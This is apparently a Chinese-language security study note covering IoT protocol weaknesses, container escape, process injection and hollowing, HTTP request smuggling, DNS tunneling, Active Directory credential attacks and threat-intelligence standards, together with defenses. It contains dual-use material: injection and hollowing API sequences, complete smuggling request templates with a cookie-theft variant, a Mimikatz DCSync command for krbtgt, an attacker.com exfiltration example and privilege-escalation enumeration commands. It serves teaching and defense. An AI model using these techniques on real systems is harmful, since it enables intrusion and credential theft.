BLE（Bluetooth Low Energy，低功耗藍牙）	穿戴裝置、醫療設備、智慧鎖	舊版配對流程（BLE 4.0/4.1）易被被動竊聽；KNOB 攻擊可迫使兩端將加密強度降至極低
Z-Wave	門鎖、窗簾、電器控制	舊版安全框架（S0）使用固定金鑰，易被重放或破解；新版（S2）已改善，但舊裝置無法更新仍有風險

常見攻擊手法：

• 金鑰竊聽（Key Sniffing）：在 Zigbee 裝置初始配對時，攔截空中傳輸的金鑰。
• 重放攻擊（Replay Attack）：錄下合法的控制封包（如「開鎖」指令），事後重送觸發相同動作。
• 韌體降版攻擊：強迫裝置安裝舊版韌體，使其回到含有已知漏洞的狀態。

防禦：

• Install Code（出廠預載金鑰）：出廠時在裝置內燒錄獨立金鑰，加入網路不需在空中傳輸，避免被擷取。
• 停用預設信任中心金鑰：出廠預設值為業界共知，停用才能防止被直接利用。
• 韌體簽章驗證：確保裝置只接受原廠簽發的合法韌體，阻擋降版攻擊。

主機滲透與橫向移動

Container Escape 與 4C 安全模型

Container Escape（容器逃逸） 攻擊途徑：

途徑	說明
特權容器	以完整主機權限啟動容器（--privileged），等同讓容器可直接操控主機硬體與系統資源，邊界形同不存在
Kernel 漏洞	容器與主機共用同一個作業系統核心（Kernel），核心漏洞可讓容器內的程式突破隔離取得主機控制權
掛載主機檔案系統	將主機的敏感目錄或 Docker 控制介面（Docker Socket）掛載進容器，等同讓容器擁有主機管理員入口
危險系統權限	保留容器不需要的高危系統權限（如任意掛載磁碟、修改網路設定），攻擊者利用這些權限跳脫隔離

Kubernetes 4C 安全模型（由外而內）：

層級	英文	中文	安全重點
1	Cloud	雲端	雲端帳號最小權限（IAM，身分存取管理）、網路安全群組限制對外暴露
2	Cluster	叢集	角色型存取控制（RBAC）、網路政策限制 Pod 間通訊、API Server 強制認證
3	Container	容器	以非管理員身份執行、掛載唯讀根目錄、移除不必要的系統權限、定期掃描映像檔漏洞
4	Code	程式碼	安全編碼、相依套件漏洞掃描（SCA，軟體組成分析）、密鑰不寫入映像檔

• 防禦原則：容器應以最小權限執行，非管理員身份、唯讀根目錄、只保留必要的系統權限。
• 容器的隔離靠作業系統的兩項機制：Namespaces（隔離程序、網路、檔案系統的視野）+ cgroups（限制 CPU / 記憶體用量）。
• 容器與多租戶安全共享「共用基礎設施」風險，防禦思路類似。

進程注入（Process Injection）與進程挖空（Process Hollowing）

兩者都是在合法程序記憶體空間中執行惡意程式碼的技術，可繞過白名單防護並偽裝成正常程序。

技術	原理	特徵	偵測方式
進程注入（Process Injection）	將惡意程式碼（Shellcode 或 DLL）寫入正在執行中的合法程序記憶體，借用合法程序的身份執行	合法程序（如 explorer.exe）記憶體中出現不屬於原始程式的可執行區段	EDR 監控「一個程序對另一個程序進行跨程序寫入並觸發執行」的異常行為
進程挖空（Process Hollowing）	建立合法程序的暫停實例，將其記憶體內容清空，植入惡意程式碼後才恢復執行	程序名稱看起來正常，但記憶體中的實際程式碼與磁碟上的執行檔內容不符	EDR 比對程序在記憶體中載入的實際內容與磁碟上的原始執行檔是否一致

這兩種技術能夠成立，根本原因是 Windows 提供了跨程序操作的 API，原本供除錯器、監控工具、反惡意軟體等合法用途使用，攻擊者借用同一套機制達成惡意目的。Windows API 分為兩層：

• Win32 API：微軟公開文件化的高階介面，由 kernel32.dll、user32.dll 等匯出，提供跨程序寫入記憶體、在另一個程序建立執行緒等能力。
• Native API / NTAPI：更底層的介面，由 ntdll.dll 匯出，直接對應 Windows 核心的系統呼叫（Syscall）。Win32 API 本質上是對 NTAPI 的封裝。NTAPI 大多未公開文件，但仍可呼叫，且部分安全工具的監控鉤子掛在 Win32 層，因此攻擊者有時改用 NTAPI 繞過這層偵測。

進程注入攻擊流程：

攻擊目標是一個正在執行中的程序（如 explorer.exe），目的是讓該程序在不知情的狀況下執行攻擊者的程式碼。

1. 取得目標程序的操作權限：呼叫 OpenProcess，傳入目標程序的 PID，向作業系統申請一個 Handle（控制代碼）。Handle 是後續所有跨程序操作的憑證，代表「作業系統允許我操作這個程序」。需要足夠的權限（通常為管理員）才能取得。
2. 在目標程序記憶體中配置空間：呼叫 VirtualAllocEx（Ex 表示可跨程序操作），在目標程序的虛擬位址空間中配置一塊空白區域，並設為 PAGE_EXECUTE_READWRITE（RWX）屬性，使這塊區域可被寫入且可被執行。
3. 將惡意程式碼寫入：呼叫 WriteProcessMemory，透過步驟 1 的 Handle 把惡意 Shellcode 直接寫入步驟 2 配置的記憶體位址。此時程式碼已在目標程序的記憶體中，但尚未執行。
4. 觸發執行：呼叫 CreateRemoteThread（Win32）或底層的 NtCreateThreadEx（NTAPI），在目標程序內建立一個新執行緒，起始位址指向剛才寫入的惡意程式碼，攻擊完成。

進程挖空攻擊流程：

與進程注入的差異在於，攻擊者不入侵已在執行的程序，而是自己啟動一個合法程序，再把它的內容掉包。

1. 啟動合法程序並立刻暫停：呼叫 CreateProcess 並帶入 CREATE_SUSPENDED 旗標，啟動 notepad.exe 或 svchost.exe 等系統程序。程序建立完成但主執行緒立即進入暫停狀態，尚未執行任何一行自身的程式碼。此步驟本身完全合法，不觸發告警。
2. 清除合法程式碼（挖空）：呼叫 NTAPI 的 NtUnmapViewOfSection，將這個暫停中程序的原始可執行程式碼從記憶體中解除對映並清除。程序的殼（PID、Handle、名稱）仍然存在，但內容已被清空。
3. 植入惡意程式碼：呼叫 VirtualAllocEx 在空殼中重新配置 RWX 記憶體，再呼叫 WriteProcessMemory 把惡意 Payload 寫入。
4. 竄改執行入口點：呼叫 GetThreadContext 取得暫停執行緒的 CPU 暫存器狀態。此時執行緒停在 ntdll 的啟動 stub 中，進入點位址以參數形式存放在 EAX（32 位元）或 RCX（64 位元）暫存器，而非指令指標 EIP/RIP。攻擊者將 EAX / RCX 的值改為惡意程式碼的位址，再呼叫 SetThreadContext 寫回。
5. 喚醒程序：呼叫 ResumeThread（Win32）或 NtResumeThread（NTAPI）解除暫停。程序一啟動，執行的就是攻擊者的惡意程式碼，但工作管理員與大多數工具仍顯示為合法的 notepad.exe。

Windows 會監控這些行為嗎？

Windows 核心本身不阻擋這些 API 呼叫，因為它們都有合法用途，但有幾個層面的限制：

• 存取權限門檻：OpenProcess 需要足夠的權限。標記為 Protected Process Light（PPL）的受保護程序（如 lsass.exe、防毒引擎程序），即使是管理員也無法取得可寫入的 Handle，直接封鎖注入路徑。
• 可選防護機制：Windows 10 起提供 Arbitrary Code Guard（ACG），程序啟用後將禁止動態建立或修改可執行記憶體頁，直接阻斷 VirtualAllocEx 配置 RWX 區域的手法。但 ACG 須由程序自行宣告啟用，不是系統預設。
• 安全工具監控：Windows Defender 及第三方 EDR 透過 ETW（Event Tracing for Windows）訂閱核心事件，偵測「跨程序配置 RWX 記憶體後立即寫入並建立遠端執行緒」等異常呼叫序列。核心設計上允許，但會產生可供分析的遙測資料，安全工具的告警邏輯建立在這之上。

常見目標程序：svchost.exe、explorer.exe、notepad.exe 等系統程序，因為安全工具通常不深度檢查這些「可信任」程序。

HTTP 請求走私攻擊（HTTP Request Smuggling）

當前端代理伺服器（如 CDN、負載平衡器）與後端伺服器對 HTTP 請求邊界的解析存在歧異時，攻擊者可藉此在一個連線中「走私」隱藏的惡意請求。

為什麼會有歧異？ HTTP 有兩種方式標示請求的長度，同時存在時規格沒有強制誰優先：

• Content-Length（CL）：直接宣告總長度，「這包總共 100 bytes」
• Transfer-Encoding: chunked（TE）：分段傳輸，每段前標明長度，最後用 0 表示結束，「分批送，看到空批次為止」

前端和後端若各信其一，就會對同一個請求切在不同地方，切出來的「多餘部分」殘留在後端的緩衝區，被誤認為下一個請求的開頭。

CL.TE 攻擊流程（最常見）：

攻擊者構造一個同時帶有 CL 和 TE 的請求，在 TE 結束標記後藏入惡意內容：

POST / HTTP/1.1
Host: victim.com
Content-Length: 44          ← 前端採用 CL：整包 44 bytes body，全數轉發後端
Transfer-Encoding: chunked  ← 後端採用 TE：按 chunk 解析，遇 0 終止

# ── 後端解析範圍 ─────────────────────────────────────────
0                           ← 0-length chunk，後端視請求已結束（TE 終止標記）

# ── 殘留緩衝區：後端已停，以下內容黏附至下一個請求 ───────────
GET /admin HTTP/1.1         ← 走私內容，汙染下一個使用者請求
Host: victim.com
# ── 前端轉發結束（共 44 bytes）──────────────────────────────

Cookie 竊取的兩步驟機制：

回應是送回受害者而非攻擊者，因此攻擊者需要借助一個會儲存資料的端點（如留言、搜尋紀錄）作為中繼：

第一步： 攻擊者走私一個帶有未完結 body 的 POST，目標是儲存端點：

[後端緩衝區殘留 — 攻擊者走私的]
POST /post/comment HTTP/1.1
Host: victim.com
Content-Length: 999      ← 故意寫大，讓後端繼續等待後續輸入

csrf=xxx&comment=        ← body 故意截斷，等待受害者的請求黏進來

第二步： 下一位使用者的正常請求黏進來，被後端當成 POST body 的一部分：

POST /post/comment HTTP/1.1
...

csrf=xxx&comment=GET /home HTTP/1.1  ← 使用者請求的開頭被當成留言內容
Host: victim.com
Cookie: session=abc123               ← Cookie 一起被存入留言

後端把整段存為一則留言，攻擊者再發 GET /post/X 查留言，就能讀到使用者的 Cookie。受害者的瀏覽器則收到一個非預期的留言提交回應。

TE.CL 攻擊結構（前端用 TE，後端用 CL，角色互換）：

POST / HTTP/1.1
Host: victim.com
Transfer-Encoding: chunked  ← 前端採用 TE：讀取所有 chunk 後轉發
Content-Length: 3           ← 後端採用 CL：只讀 body 前 3 bytes 即停

# ── 後端解析範圍（body 前 3 bytes）──────────────────────────
1a                          ← chunk size header；後端讀「1a\r」共 3 bytes 即停
# ── 殘留緩衝區：後端已停，以下內容黏附至下一個請求 ──────────
GET /admin HTTP/1.1         ← 走私內容，汙染下一個使用者請求
Host: victim.com

# ── 前端轉發結束 ─────────────────────────────────────────
0                           ← 前端 TE 終止 chunk（後端早已停讀，不涉及此段）

後端讀完 CL=3 的內容後，chunk 裡的剩餘部分留在緩衝區，汙染機制與 CL.TE 相同，只是前後端的角色互換。

TE.TE 攻擊結構（兩端都看 TE，但其中一端看不懂混淆版本）：

POST / HTTP/1.1
Host: victim.com
Transfer-Encoding: chunked   ← 標準 TE 標頭
Transfer-Encoding: xchunked  ← 混淆 TE 標頭（非標準；其中一端識別，另一端忽略）

# ── 識別 TE 的一端（按 chunk 解析）────────────────────────
0                            ← 此端解析至此：0-length chunk，請求結束
# ── 無法識別 TE 的一端：退化為 CL 解析 ─────────────────────
# ── 殘留緩衝區：退化端按 CL 解析，以下內容黏附至下一個請求 ────
GET /admin HTTP/1.1          ← 走私內容，汙染下一個請求
Host: victim.com

一端無法識別混淆的 TE 標頭後忽略它，等同退化為 CL.TE 或 TE.CL 的情境，後續汙染機制相同。

攻擊變體	前端解析	後端解析	效果
CL.TE	Content-Length	Transfer-Encoding	前端把完整請求送出，後端提早切斷，剩餘部分污染下一個請求
TE.CL	Transfer-Encoding	Content-Length	前端提早切斷，後端按總長讀入多餘內容，剩餘部分污染下一個請求
TE.TE	TE（解析混淆標頭）	TE（忽略混淆標頭）	攻擊者故意寫入格式略為變形的 TE 標頭，使其中一端無法識別而改用另一種方式解析

攻擊影響：

• 劫持其他使用者的請求（偷取 Cookie、Session Token）。
• 繞過前端的安全控制（如 WAF、存取控制）。
• 對後端執行任意請求。

防禦

漏洞根源在前端代理 → 後端這段的 HTTP/1.1 解析歧異，需在代理層設定。RFC 7230 規定同時存在時 TE 優先於 CL，前後端都嚴格遵守即可消除歧異。

層級	預設狀況	風險
瀏覽器 → 前端代理	HTTPS 下幾乎預設 HTTP/2，Binary Frame 機制，無 CL/TE 歧異	無
前端代理 → 後端	Nginx / HAProxy 預設以 HTTP/1.1 連後端	攻擊發生點
後端應用程式	ASP.NET Core（Kestrel）遵守 RFC 7230，TE 優先於 CL	本身安全，但擋不住代理已走私進來的請求

Nginx（1.13.0+ 已修補 TE 解析邏輯，可額外加入以下設定）

拒絕含混請求，回傳 400：

# http {} 區塊
map "$http_content_length:$http_transfer_encoding" $smuggling_risk {
    # Nginx 會將進來的請求標頭中，CL 的值和 TE 的值，中間用一個冒號 : 拼接起來
    # 若兩者皆有值，會符合 "~.+:.+" (正則表達式：左右皆至少有一個字元)，則賦予變數 1 (高風險)。
    "~.+:.+" 1;
    default   0;
}

# server {} 區塊
if ($smuggling_risk) {
    return 400 "Bad Request: Multiple Length Indicators";
}

升版為 HTTP/2 upstream（根本解，後端需同時支援；Kestrel 預設支援）：

proxy_http_version 2.0;

代理層正規化（移除 TE，後端只看 CL）：

proxy_set_header Transfer-Encoding "";

HAProxy（1.9+ 預設已啟用嚴格標頭解析，可加 ACL 強制拒絕含混請求）：

# frontend 或 listen 區塊
http-request deny if { req.hdr_cnt(content-length) gt 0 } { req.hdr_cnt(transfer-encoding) gt 0 }

ASP.NET Core（Kestrel）

Kestrel 本身已遵守 RFC 7230，無需額外設定。若需在 Middleware 層留下警告 Log 作為縱深防禦：

app.Use(async (context, next) => {
    var headers = context.Request.Headers;
    if (headers.ContainsKey("Content-Length") && headers.ContainsKey("Transfer-Encoding")) {
        context.Response.StatusCode = 400;
        await context.Response.WriteAsync("Bad Request: Invalid Header Combination");
        return;
    }
    await next();
});

DNS 隧道（DNS Tunneling）

利用 DNS 協定（通常允許通過防火牆的 UDP 53 Port）作為隱蔽的資料傳輸通道，將非 DNS 資料編碼在 DNS 查詢與回應中。

面向	說明
原理	攻擊者架設自己的 DNS 伺服器，受害主機將竊取的資料編碼為子網域名稱（如 dGVzdA.attacker.com），透過 DNS 查詢送出；攻擊者的 DNS 伺服器解碼後取得資料。
用途	C2 通訊（Command & Control）、資料外洩（Data Exfiltration）、繞過 Captive Portal（強制登入頁面，如機場 / 咖啡廳 Wi-Fi 的驗證牆）
偵測指標	異常長的子網域名稱、高頻率 DNS 查詢、TXT/NULL 記錄查詢比例異常、單一網域的查詢量暴增
常見工具	iodine、dnscat2、dns2tcp
防禦	DNS 流量深度檢測（DPI）、限制內部 DNS 僅轉發至可信的遞迴解析器、監控 DNS 查詢長度與頻率異常

跨平台攻擊手法差異（Windows vs Linux）

權限提升（Privilege Escalation）

面向	Windows	Linux
常見手法	身份令牌仿冒（Token Manipulation，偽裝成高權限使用者）、UAC 繞過、服務路徑未加引號（路徑含空格卻未加引號，可被惡意執行檔插隊）、DLL 側載（DLL Hijacking）	SUID/SGID 特殊執行權限濫用、sudo 設定錯誤（允許執行不該開放的指令）、核心漏洞利用、Cron 排程工作設定錯誤、可寫入的 PATH 目錄
關鍵差異	Windows 以身份令牌（Token）和存取控制清單（ACL）管理權限，攻擊者常透過模擬高權限令牌取得系統最高控制權（SYSTEM）	Linux 以使用者 ID（UID）和群組 ID（GID）管理權限，具特殊執行位元（SUID）的程式是最常被利用的提權目標
偵測重點	監控高危系統特權（如除錯、模擬身份等特殊權限）的異常使用	定期掃描 SUID/SGID 特殊權限的異常檔案

持久化（Persistence）

面向	Windows	Linux
常見手法	登錄機碼啟動項（系統開機自動執行的機碼）、排程工作（Scheduled Task）、啟動資料夾（Startup Folder）、WMI 事件訂閱、服務建立	crontab 排程、Shell 初始化腳本（.bashrc / .profile）、systemd 服務、SSH 授權金鑰植入
關鍵差異	登錄機碼（Registry）是 Windows 獨有的持久化向量，種類繁多且隱蔽性高	Linux 持久化多依附於 Shell 初始化腳本或排程工具
偵測重點	監控啟動相關登錄機碼的變更、排程工作異動	監控 crontab 變更、systemd 服務檔案新增、SSH 授權金鑰異動

橫向移動（Lateral Movement）

面向	Windows	Linux
常見手法	PsExec（遠端命令執行）、WMI（Windows 管理工具介面）、RDP（遠端桌面）、WinRM（Windows 遠端管理）、DCOM（分散式物件呼叫）	SSH、Ansible / Salt 組態管理工具、竊得的 SSH 私鑰、NFS 網路共享
關鍵差異	Windows 網域環境內建大量遠端管理工具，攻擊者可借用既有管理基礎設施而不帶入外部工具	Linux 環境的橫向移動主要靠 SSH，取得私鑰即可在多台主機間擴散
偵測重點	監控檔案共享（SMB）和遠端程序呼叫（RPC）的異常連線	監控 SSH 登入來源異常、SSH 授權金鑰檔案變更

Linux 權限提升偵測指令

# 尋找所有 SUID 檔案（可能被攻擊者利用以 root 身分執行）
find / -perm -4000 -type f 2>/dev/null

# 尋找所有 SGID 檔案
find / -perm -2000 -type f 2>/dev/null

# 同時尋找 SUID 與 SGID
find / -perm /6000 -type f 2>/dev/null

# 檢查 sudo 設定（哪些命令可免密碼以 root 執行）
sudo -l

# 尋找可寫的 cron 目錄與腳本
find /etc/cron* -writable -type f 2>/dev/null
ls -la /etc/cron.d/ /var/spool/cron/

# 尋找世界可寫的目錄（可能被利用於 PATH Hijacking）
find / -writable -type d 2>/dev/null | grep -v proc

# 檢查 /etc/passwd 是否可寫（罕見但致命）
ls -la /etc/passwd /etc/shadow

• SUID 檔案清單可與 GTFOBins 比對，確認是否有可利用的提權路徑。
• Windows 對應工具：LOLBAS（Living Off The Land Binaries and Scripts）。

憑證竊取與橫向移動技術

Pass-the-Hash（PtH，雜湊值傳遞攻擊）

Windows 的 NTLM 認證協定採用 Challenge-Response 機制，伺服器只需比對密碼的 MD4 雜湊值即可完成驗證，不需要明文密碼。攻擊者取得雜湊值後，可直接冒充合法使用者登入其他主機，無需破解原始密碼。

NTLM 背景

Windows 2000 以前的預設認證協定，之後被 Kerberos 取代，至今仍作為 fallback 保留，用於工作群組環境、本機帳號認證，以及 Kerberos 無法使用的備援場景。

• 前提：從本機密碼資料庫（SAM，Security Account Manager）或記憶體中取得 NTLM 雜湊值。
• 影響：取得網域管理員的雜湊值，即可在整個 Windows 網域內橫行。
• 防禦：停用 NTLM 認證（改用 Kerberos）、啟用 Credential Guard（憑證防護，防止記憶體中的雜湊值被讀取）、限制特權帳號的登入範圍。

Pass-the-Ticket（PtT，票券傳遞攻擊）

Kerberos 認證以票券（Ticket）代替密碼，攻擊者竊取票券後直接注入自己的連線，以票券持有者的身份存取資源，不需要知道密碼或雜湊值。

• 與 PtH 的差異：PtH 利用 NTLM 的雜湊值；PtT 利用 Kerberos 的票券。啟用 Kerberos 後 PtH 無效，攻擊者改用 PtT。
• Golden Ticket（黃金票券）：Kerberos 有一個負責簽發所有票券的特殊帳號（krbtgt）。取得該帳號的密碼雜湊後，可自行偽造任意使用者的通行票（TGT，Ticket-Granting Ticket），等同取得整個網域的萬能鑰匙。
• Silver Ticket（白銀票券）：只偽造單一服務的存取票券，範圍較 Golden Ticket 有限，但因不需要向 Kerberos 伺服器請求而更難被偵測。
• 防禦：定期重設 krbtgt 帳號密碼（需連續重設兩次才完全失效）、監控有效期異常長的票券、部署特權存取管理（PAM，Privileged Access Management）。

krbtgt 帳號與兩次重設的原因

krbtgt 是 AD 網域的內建服務帳號，KDC 用它的密碼雜湊加密與簽署所有 TGT，是整個網域最敏感的機密。AD 為了相容性，會同時保留 krbtgt 的「當前密碼」與「前一個密碼」，驗證票券時兩者都接受。因此只重設一次，被竊的舊密碼會降為「前一個密碼」，攻擊者偽造的 Golden Ticket 仍然有效；第二次重設後，舊密碼才會從 AD 完全抹除，Golden Ticket 才真正失效。兩次重設之間須等待一段時間（約等於 TGT 預設有效期 10 小時），讓現有的合法票券自然過期，避免正常服務中斷。

Kerberoasting（Kerberos 烘烤攻擊）

Kerberos 允許任何已登入網域的一般使用者向金鑰發放中心（KDC，Key Distribution Center）索取服務票券，而票券本身用服務帳號的密碼雜湊加密。攻擊者索取票券後帶回離線暴力破解，還原服務帳號的明文密碼。

• 為什麼有效：服務帳號（如資料庫服務帳號）往往長期不換密碼，且密碼強度不足；任何已驗證的網域使用者都能索取服務票券（SPN，Service Principal Name，服務主體名稱），無需特殊權限。
• 攻擊步驟：列舉有服務主體名稱的帳號 → 索取服務票券 → 帶回離線暴力破解。
• 防禦：服務帳號使用 25 字元以上的隨機密碼；改用 gMSA（群組受管服務帳號，Group Managed Service Account，由 Active Directory 自動管理密碼輪換）；監控短時間內大量索取票券的異常行為。

DCSync（AD 複寫憑證竊取）

攻擊者利用 Active Directory 的目錄複寫協定（MS-DRSR，Directory Replication Service Remote Protocol），偽裝成網域控制站（DC）向其他 DC 索取帳號密碼雜湊，全程不需登入 DC 或在 DC 上執行任何程式。

• 前提：攻擊者帳號須具備「複寫目錄變更（DS-Replication-Get-Changes-All）」權限，通常需要 Domain Admin 或被明確授予此權限的帳號。
• 典型用途：竊取 krbtgt 帳號的雜湊值，進一步製作 Golden Ticket；或批次提取整個網域的密碼雜湊。
• 難以偵測的原因：網路流量與正常 DC 複寫無異，不攜帶惡意工具，屬於 Living off the Land 的一種。
• 工具：Mimikatz lsadump::dcsync /domain:corp.local /user:krbtgt。
• 防禦：監控非 DC 機器發出的複寫請求（Windows Event ID 4662）；嚴格限制「DS-Replication-Get-Changes-All」的授予對象；部署特權存取管理（PAM）。

Living off the Land（就地取材攻擊）

攻擊者不攜帶自己的工具，而是利用目標系統上已存在的合法工具執行惡意操作，因為這些工具有數位簽章且為系統內建，不會觸發傳統防毒軟體的警報。

平台	術語	常被濫用的工具	惡意用途範例
Windows	LOLBins（Living Off the Land Binaries）	certutil.exe、mshta.exe、regsvr32.exe、rundll32.exe、powershell.exe	用 certutil 下載惡意檔案、用 mshta 執行腳本（這些都是系統內建工具，防毒不會擋）
Linux	GTFOBins	curl、wget、python、perl、find、vim	用 find 的 SUID 提權執行 shell、用 curl 下載惡意腳本後直接執行

• 為什麼難偵測：這些工具本身是合法的（管理員也會使用），需要結合上下文（誰、何時、從哪裡、帶什麼參數執行）才能判定是否惡意。
• 與無檔案惡意軟體（Fileless Malware）的關係：就地取材是無檔案攻擊的主要手段，惡意程式碼只存在於記憶體中，不落地為檔案，傳統防毒更難偵測。
• 防禦：應用程式白名單控管（AppLocker / WDAC）、PowerShell 受限語言模式（Constrained Language Mode）、指令碼執行記錄（Script Block Logging）、EDR 行為偵測。
• 參考資源：LOLBAS Project（Windows）、GTFOBins（Linux）。

偵測指標與新興威脅

入侵指標（IOC）與攻擊指標（IOA）

比較面向	IOC（Indicator of Compromise，入侵指標）	IOA（Indicator of Attack，攻擊指標）
本質	攻擊已發生後留下的鑑識證據	攻擊正在進行時的行為模式
時間點	事後（Reactive）	即時（Proactive）
典型範例	惡意檔案 Hash、C2 IP/Domain、惡意登錄機碼（Registry Key）、異常檔案路徑	程序注入行為、異常的 PowerShell 呼叫模式、帳號在短時間內橫向登入多台主機
對應工具	威脅情報平台（TIP）、SIEM 比對規則、YARA 規則	EDR / XDR 行為分析、UEBA（User and Entity Behavior Analytics，使用者與實體行為分析）
局限	攻擊者可輕易更換 Hash/IP（低成本迴避）	需要較成熟的偵測能力與基線建立

• IOC 的生命週期短（攻擊者每次行動更換工具即失效），但建立成本低。
• IOA 關注的是「行為」而非「特徵」，即使攻擊者更換工具，行為模式仍然類似，偵測效果更持久。
• 實務上兩者互補：IOC 用於快速比對已知威脅，IOA 用於偵測未知或新型攻擊。
• IOC 如同「犯罪現場的指紋」，IOA 如同「監視器中的可疑行為」。
• MITRE ATT&CK 框架中的戰術與技術描述本質上就是 IOA，可作為 Threat Hunting 的假設來源。

威脅情資與安全評估

威脅獵捕（Threat Hunting）

威脅獵捕是一種主動式、假設驅動的搜尋方式，由資安人員主動在環境中尋找尚未觸發警報的潛在威脅，與被動等待 SIEM 告警的事件回應（Incident Response）形成互補。

面向	威脅獵捕（Threat Hunting）	事件回應（Incident Response）
觸發方式	主動（由假設驅動，無需觸發警報）	被動（由 SIEM / IDS 警報觸發）
目的	找出尚未被偵測到的潛在攻擊者或 IOC	回應已知的確認事件
適用情境	APT 潛伏、新型攻擊手法、偵測工具覆蓋盲點	資安事件發生後的圍堵、清除、復原

Threat Hunting 流程：

1. 建立假設（Hypothesis）：基於威脅情資（CTI）、MITRE ATT&CK 戰術或過往事件，提出「攻擊者可能正在使用 X 技術」的假設。
2. 收集與搜尋資料：在 EDR、SIEM、日誌系統中搜尋假設中的 IOC 或 IOA。
3. 分析與鑑別：區分惡意行為與正常雜訊，確認是否存在真實威脅。
4. 回應與改善：若發現威脅，轉為事件回應（Incident Response）；若未發現，將搜尋邏輯轉化為自動化偵測規則，持續強化偵測能力。

鑽石模型（Diamond Model）

鑽石模型是威脅情資分析的基礎框架，每一起入侵事件都可由四個核心維度描述，四個頂點形成菱形（Diamond）。

維度	說明	範例
對手（Adversary）	發動攻擊的行為者	國家級 APT 組織、網路犯罪集團
能力（Capability）	攻擊者使用的工具、惡意軟體、漏洞利用技術	Cobalt Strike、Log4Shell 漏洞利用
基礎設施（Infrastructure）	攻擊者控制或使用的實體資源	C2 伺服器、被入侵的中繼機器、惡意網域
受害者（Victim）	被攻擊的目標	特定企業、關鍵基礎設施、特定人員

• 模型的核心假設：攻擊者需要能力（Capability）透過基礎設施（Infrastructure）才能影響受害者，切斷任一連結即可阻斷攻擊。
• 與 MITRE ATT&CK 互補：鑽石模型描述 「誰、用什麼、透過哪裡、攻擊誰」（整體關係），ATT&CK 描述 「怎麼做」（技術細節）。
• 社群延伸：Meta-diamond（元鑽石）將多起關聯事件串聯，歸因至同一 APT 組織。

威脅行為者分類對照表

行為者類型	英文	動機	技能水準	資源規模	典型攻擊目標
腳本小子	Script Kiddie	炫耀、好奇心	低（使用現成工具）	個人	隨機目標、網站塗鴉
網路罪犯	Cybercriminal	金錢	中到高	犯罪集團	金融機構、個人資料
駭客行動主義者	Hacktivist	政治理念、社會正義	中	組織/集體	政府機關、企業網站
內部威脅	Insider Threat	報復、金錢、脅迫	高（擁有內部權限）	個人	雇主系統與資料
國家級	Nation-State	國家利益、間諜活動	極高	國家資源	關鍵基礎設施、政府、軍工企業
進階持續性威脅	APT（Advanced Persistent Threat）	長期潛伏、情報收集	極高	國家或大型組織	高價值目標、供應鏈

威脅情報來源分類

類型	說明	代表組織/資源
商業情報	付費訂閱的威脅情報服務與 OSINT 工具	商業資安廠商、CVE、MITRE ATT&CK、VirusTotal
政府情報	國家級 CERT 與執法機關發布的威脅通報	TWCERT/CC、US-CERT、NCSC
社群情報	行業 ISAC 與開源情報分享平台	金融 FS-ISAC、能源 E-ISAC、MISP

威脅情報分享分類：TLP 2.0

CISA（Cybersecurity and Infrastructure Security Agency，美國網路安全暨基礎設施安全局）採用 TLP（Traffic Light Protocol，交通燈協定）2.0 作為威脅情資分享的標準分類，以顏色標示資訊可傳播的範圍。TLP 不限載體，信件、報告、會議簡報均可套用。

標籤	可傳播對象	說明
TLP:RED	僅限原始接收方	不得轉發給非原始接收方，不得超出原始分享情境（如當場會議出席者）。
TLP:AMBER+STRICT	原始接收方所屬組織內部	以需知原則（Need-to-Know）在組織內部傳遞，不可跨組織，限制比 AMBER 更嚴格。
TLP:AMBER	原始接收方所屬組織及直接客戶	可在組織內部以需知為原則傳遞，並可擴展至直接業務往來的客戶。
TLP:GREEN	同一資安社群	可在同一資安社群（如 ISAC、特定資安論壇）內廣泛傳遞，不得公開發布於網際網路。
TLP:CLEAR	無限制	無傳播限制，可公開分享或發布於網際網路。

TLP 2.0 重點

• 限制由鬆至嚴：CLEAR → GREEN → AMBER → AMBER+STRICT → RED。
• TLP:AMBER vs TLP:AMBER+STRICT：AMBER 允許傳遞給直接客戶，AMBER+STRICT 僅限組織內部。
• 2.0 vs 1.0 主要差異：2.0 將「WHITE」改為「CLEAR」，新增「AMBER+STRICT」，並明確定義「社群（Community）」的邊界。

威脅情資標準（STIX / TAXII / CVE / CVSS）

威脅情資四分類（依使用者層級）

四個層次依抽象程度排列，由高到低依序對應「趨勢判斷 → 攻擊預警 → 手法分析 → 指標封鎖」四種決策需求。

類型	英文	目標使用者	典型範例
戰略性情資	Strategic Intelligence	高階主管、CISO、董事會	威脅趨勢、攻擊者動機、地緣政治風險
作戰性情資	Operational Intelligence	SOC 分析師、CSIRT	進行中或即將發生的特定攻擊活動細節、目標
戰術性情資	Tactical Intelligence	安全架構師、紅隊	攻擊者 TTPs、MITRE ATT&CK 對應
技術性情資	Technical Intelligence	防火牆/SIEM 管理員	具體 IOC（IP 位址、惡意 Hash、惡意 Domain）

💡 專有名詞速查

• CISO：Chief Information Security Officer（資安長）
• SOC：Security Operations Center（資安維運中心）
• CSIRT：Computer Security Incident Response Team（資安事件應變小組）
• TTPs：Tactics, Techniques, Procedures（戰術、技術與程序）
• SIEM：Security Information and Event Management（安全資訊與事件管理系統）
• IOC：Indicator of Compromise（入侵指標）

STIX / TAXII：

STIX 定義威脅情資的結構化格式，TAXII 負責傳輸，兩者通常搭配使用，構成威脅情資自動化交換的基礎。

項目	英文	說明
STIX 2.1	Structured Threat Information eXpression	以 JSON 格式結構化表達威脅情資，涵蓋攻擊模式、惡意指標 IOC、攻擊者組織等物件類型
TAXII	Trusted Automated eXchange of Indicator Information	STIX 資料的傳輸協定，定義 Collection（拉取）與 Channel（推播）兩種交換模式

CVE / CWE / CVSS：

CVE 記錄特定漏洞事件、CWE 描述漏洞背後的弱點類型、CVSS 衡量其嚴重程度，三者共同構成漏洞管理的基礎語彙。

項目	英文	說明
CVE	Common Vulnerabilities and Exposures	漏洞唯一編號系統，格式為 CVE-年份-流水號（如 CVE-2024-12345）。由 MITRE 維護，NVD（NIST 維護）提供搜尋與詳細分析
CWE	Common Weakness Enumeration	由 MITRE 維護的軟體弱點分類系統，描述弱點類型（如 SQL Injection、Buffer Overflow），而非特定漏洞事件
CVSS	Common Vulnerability Scoring System	漏洞嚴重度評分（0.0–10.0），由 FIRST 維護

CVSS v4.0（2023 年 11 月，FIRST 發布）是目前現行版本，Base Score 分三組共 11 個指標：

可利用性指標（Exploitability）

指標	縮寫	選項（分數由高至低）	說明
攻擊路徑（Attack Vector）	AV	Network > Adjacent > Local > Physical	同 v3.x
攻擊複雜度（Attack Complexity）	AC	Low > High	攻擊者需主動規避既有防禦條件的難度
